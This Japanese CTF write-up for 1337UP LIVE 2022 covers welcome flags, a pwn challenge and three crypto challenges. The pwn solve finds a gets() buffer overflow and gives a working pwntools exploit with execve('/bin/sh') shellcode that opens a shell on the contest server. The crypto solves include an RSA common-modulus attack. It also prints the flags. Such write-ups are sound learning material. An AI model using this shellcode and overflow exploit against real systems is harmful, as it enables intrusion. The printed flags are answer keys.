1337UP LIVE CTF Writeup

この大会は2022/3/12 0:00(JST)~2022/3/13 0:00(JST)に開催されました。
今回もチームで参戦。結果は814点で630チーム中157位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Welcome!)

問題にフラグが書いてあった。

1337UP{TimeToStartHacking}

Discord (Welcome!)

Discordに入り、#notificationsチャネルのトピックを見ると、フラグが書いてある。

1337UP{You_f0und_1t}

Twitter (Welcome!)

TwitterのINTIGRITIのプロフィールのところにフラグが書いてあった。

1337UP{Tw33t}

Easy Register (Pwn)

$ file easy_register 
easy_register: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ba448db2793d54d5ef48046ff85490b3b875831c, for GNU/Linux 3.2.0, not stripped

Ghidraでデコンパイルする。

undefined8 main(void)

{
  banner();
  easy_register();
  return 0;
}

void easy_register(void)

{
  char local_58 [80];
  
  printf("[\x1b[34mi\x1b[0m] Initialized attendee listing at %p.\n",local_58);
  puts("[\x1b[34mi\x1b[0m] Starting registration application.\n");
  printf("Hacker name > ");
  gets(local_58);
  puts("\n[\x1b[32m+\x1b[0m] Registration completed. Enjoy!");
  puts("[\x1b[32m+\x1b[0m] Exiting.");
  return;
}

バッファ先頭のアドレスがわかるので、そこにシェルコードを流し込み、BOFでそのアドレスに飛ぶようにする。

$ gdb -q ./easy_register
Reading symbols from ./easy_register...(no debugging symbols found)...done.
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/easy_register 
  _ _______________ _   _ ____  
 / |___ /___ /___  | | | |  _ \ 
 | | |_ \ |_ \  / /| | | | |_) |
 | |___) |__) |/ / | |_| |  __/ 
 |_|____/____//_/   \___/|_|    
                                
[i] Initialized attendee listing at 0x7fffffffdd90.
[i] Starting registration application.

Hacker name > AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

[+] Registration completed. Enjoy!
[+] Exiting.

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x16 
RBX: 0x0 
RCX: 0x7ffff7af2104 (<__GI___libc_write+20>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0 
RSI: 0x7ffff7dce7e3 --> 0xdcf8c0000000000a 
RDI: 0x1 
RBP: 0x3541416641414a41 ('AJAAfAA5')
RSP: 0x7fffffffdde8 ("AAKAAgAA6AAL")
RIP: 0x55555555529b (<easy_register+108>:	ret)
R8 : 0x15 
R9 : 0x7ffff7fdd4c0 (0x00007ffff7fdd4c0)
R10: 0x0 
R11: 0x246 
R12: 0x5555555550c0 (<_start>:	endbr64)
R13: 0x7fffffffded0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555555294 <easy_register+101>:	call   0x555555555080 <puts@plt>
   0x555555555299 <easy_register+106>:	nop
   0x55555555529a <easy_register+107>:	leave  
=> 0x55555555529b <easy_register+108>:	ret    
   0x55555555529c <main>:	endbr64 
   0x5555555552a0 <main+4>:	push   rbp
   0x5555555552a1 <main+5>:	mov    rbp,rsp
   0x5555555552a4 <main+8>:	mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdde8 ("AAKAAgAA6AAL")
0008| 0x7fffffffddf0 --> 0x55004c414136 ('6AAL')
0016| 0x7fffffffddf8 --> 0x7ffff7a03c87 (<__libc_start_main+231>:	mov    edi,eax)
0024| 0x7fffffffde00 --> 0x1 
0032| 0x7fffffffde08 --> 0x7fffffffded8 --> 0x7fffffffe221 ("/mnt/hgfs/Shared/easy_register")
0040| 0x7fffffffde10 --> 0x100008000 
0048| 0x7fffffffde18 --> 0x55555555529c (<main>:	endbr64)
0056| 0x7fffffffde20 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000055555555529b in easy_register ()
gdb-peda$ patto AAKAAgAA6AAL
AAKAAgAA6AAL found at offset: 88
from pwn import *

if len(sys.argv) == 1:
    p = remote('easyregister.ctf.intigriti.io', 7777)
else:
    p = process('./easy_register')

elf = ELF('./easy_register')

shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

data = p.recvuntil('> ')
buf_addr = int(data.split('\n')[-4].split(' ')[-1][:-1], 16)

payload = shellcode
payload += 'A' * (88 - len(payload))
payload += p64(buf_addr)
print data + payload
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to easyregister.ctf.intigriti.io on port 7777: Done
[*] '/mnt/hgfs/Shared/easy_register'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
  _ _______________ _   _ ____  
 / |___ /___ /___  | | | |  _ \ 
 | | |_ \ |_ \  / /| | | | |_) |
 | |___) |__) |/ / | |_| |  __/ 
 |_|____/____//_/   \___/|_|    
                                
[i] Initialized attendee listing at 0x7fff824e4590.
[i] Starting registration application.

Hacker name > H1�RH\xb8/bin//shPH\x89�RWH\x89�H�B;\x0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x90EN\x82\xff\x7f\x00
[*] Switching to interactive mode

[+] Registration completed. Enjoy!
[+] Exiting.
$ ls
bin
dev
easy_register
etc
flag
lib
lib64
usr
$ cat flag
1337UP{Y0u_ju5t_r3g15t3r3d_f0r_50m3_p01nt5}
1337UP{Y0u_ju5t_r3g15t3r3d_f0r_50m3_p01nt5}

Warmup Encoder (Crypto)

暗号処理は以下の通り。

・Ord(flag)
 ・x0r([flagの各文字のASCIIコードの配列])
  ・ff = []
  ・配列の各数値について、以下を実行
   ・素数の場合、ffにASCIIコード番目の素数と0x1337のXORを追加
   ・素数でない場合、ffにASCIIコードと0x1337のXORを追加
  ・ffの各値の2進数を表示

ASCIIコードの各値に対する暗号化データを辞書として作成し、それを元に復号する。

#!/usr/bin/env python3
from sympy import isprime, prime

ff = [1001100000110, 1001100000100, 1001100000100, 1001100000000,
    1001101100010, 1001101100111, 1001101001100, 1001101001111,
    1001100000111, 1001101000101, 1001101101000, 1001100000011,
    1001101011001, 1001101110011, 1001101101000, 1001101110101,
    1001101011110, 1001101011001, 1001100000011, 1001011001010,
    1001101100101, 1001101001110, 1001101101000, 1001101110010,
    1001101011001, 1001001111100, 1001100000111, 1001101010011,
    1001100000100, 1001101000101, 1001101101000, 1001100000011,
    1001101000101, 1001100000100, 1001101101000, 1001101000011,
    1001101111111, 1001100000100, 1001101101000, 1001101100000,
    1001100000100, 1001100000011, 1000101111100, 1001100000100,
    1001111000110, 1001101000011, 1001101101000, 1001100001111,
    1001100000111, 1001100000000, 1001100001110, 1001100000111,
    1001100000000, 1001111000110, 1001100000001, 1001101001010]

encs = {}
for code in range(32, 127):
    if isprime(code) == True:
        v = prime(code) ^ 0x1337
    else:
        v = code ^ 0x1337
    encs[v] = code

flag = ''
for f in ff:
    v = int(str(f), 2)
    flag += chr(encs[v])
print(flag)
1337UP{x0r_4nD_Bin4aRy_EnC0d3r_4r3_tH3_W34k35t_80790756}

Binomial Ways (Crypto)

valは固定値なので、その値を算出し、シフトすればよい。ただし、問題が間違っているのか"{"が正しく表示されないので、調整する。

#!/usr/bin/env python3
val = []

def factorial(n):
    f = 1
    for i in range(2, n+1):
        f *= i
    return f

def series(A, X, n):
    nFact = factorial(n)
    for i in range(0, n + 1):
        niFact = factorial(n - i)
        iFact = factorial(i)
        aPow = pow(A, n - i)
        xPow = pow(X, i)
        val.append(int((nFact * aPow * xPow) / (niFact * iFact)))

A = 1; X = 1; n = 30
series(A, X, n)

with open('output.txt', 'rb') as f:
    data = f.read().splitlines()
    flag_length = int(data[0])
    ct = data[1]

# arrangement
ct = ct[:6] + b'\x88' + ct[6:]

flag = ''
for i in range(flag_length):
    flag += chr(ct[i] - val[i] % 26)
print(flag)
1337UP{b4s1c_sh1f7_n0_b1n0m1al}

Equality (Crypto)

n, e, cの組み合わせが2つあり、nは同じ。Common Modulus Attackで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
import gmpy2

def commom_world(c1, c2, e1, e2, n):
    gcd, s1, s2 = gmpy2.gcdext(e1, e2)
    if s1 < 0:
        s1 = -s1
        c1 = gmpy2.invert(c1, n)
    elif s2 < 0:
        s2 = -s2
        c2 = gmpy2.invert(c2, n)

    v = pow(c1, s1, n)
    w = pow(c2, s2, n)
    x = (v*w) % n
    return x

n = 0xa6241c28743fbbe4f2f67cee7121497f622fd81947af30f327fb028445b39c2d517ba7fdcb5f6ac9e6217205f8ec9576bdec7a0faef221c29291c784eed393cd95eb0d358d2a1a35dbff05d6fa0cc597f672dcfbeecbb14bd1462cb6ba4f465f30f22e595c36e6282c3e426831d30f0479ee18b870ab658a54571774d25d6875
e1 = 0x3045
e2 = 0xff4d
c1 = 0x5d1e39bc751108ec0a1397d79e63c013d238915d13380ae649e84d7d85ebcffbbc35ebb18d2218ccbc5409290dfa8a4847e5923c3420e83b1a9d7aa67190dc0d34711cce261665c64c28ed2834394d4b181926febf7eb685f9ce81f36c7fb72798da3a14a123287171d26e084948aab0fba81c53f10b5696fc291006254ee690
c2 = 0x3d90f2bec4fe02d8ce4cece3ddb6baed99337f7e6856eef255445741b5cfe378390f058679d70236e51be4746db4c207f274c40b092e24f8c155a0957867e84dca48e27980af488d2615a280c6eadec2f1d30b95653b1ee3135e2edff100dd2c529994f846722f811348b082d0bec7cfab579a4bd0ab789928b1bebed68d628f

m = commom_world(c1, c2, e1, e2, n)
flag = long_to_bytes(m).decode()
print(flag)
1337UP{c0mm0n_m0dulu5_4774ck_15_n07_50_c0mm0n}